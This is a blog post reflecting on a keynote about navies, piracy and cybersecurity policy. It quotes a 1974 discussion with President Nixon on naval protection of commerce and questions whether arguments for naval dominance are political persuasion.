The presenter after his talk backed away from defending facts that were behind the conclusions. He said he just read navy history lightly and was throwing out ideas for a keynote, so I let it drop as he asked. Shame, really, because I had been tossing out some thoughts on this topic for a while and it seems like a good foundation for debate. Another point I would love to discuss some day in terms of cybersecurity is why so many navy sailors converted to being pirates (hint: more sailors died transporting slaves than slaves died en route).

My own talks on piracy and letters of marque were in London, Oct 2012, San Francisco, Feb 2013 and also Mexico City, Mar 2013. They didn’t generate much response so I did not push the topic further. Perhaps I should bring them back again or submit updates, given how some have been talking about national concerns with cyber to protect commerce.

If I did present on this topic again, I might start with an official record of discussion with President Nixon, February 8, 1974, 2:37–3:35 p.m. It makes me wonder if the idea “eventually navies take over” actually is a form of political persuasion, a politicized campaign, rather than any sort of prediction or careful reflection on history:

Dr. Gray: I am an old Army man. But the issue is not whether we have a Navy as good as the Soviet Union’s, but whether we have a Navy which can protect commerce of the world. This is our #1 strategic problem.

Adm. Anderson: Suppose someone put pressure on Japan. We couldn’t protect our lines to Japan or the U.S.-Japan shipping lanes.

The questions I should have asked the keynote speaker were not about historic accuracy or even the role of navies. Instead perhaps I should have gone straight to “do you believe in authoritarianism (e.g. fascism) as a valid solution to market risks”?

Posted in History, Sailing, Security.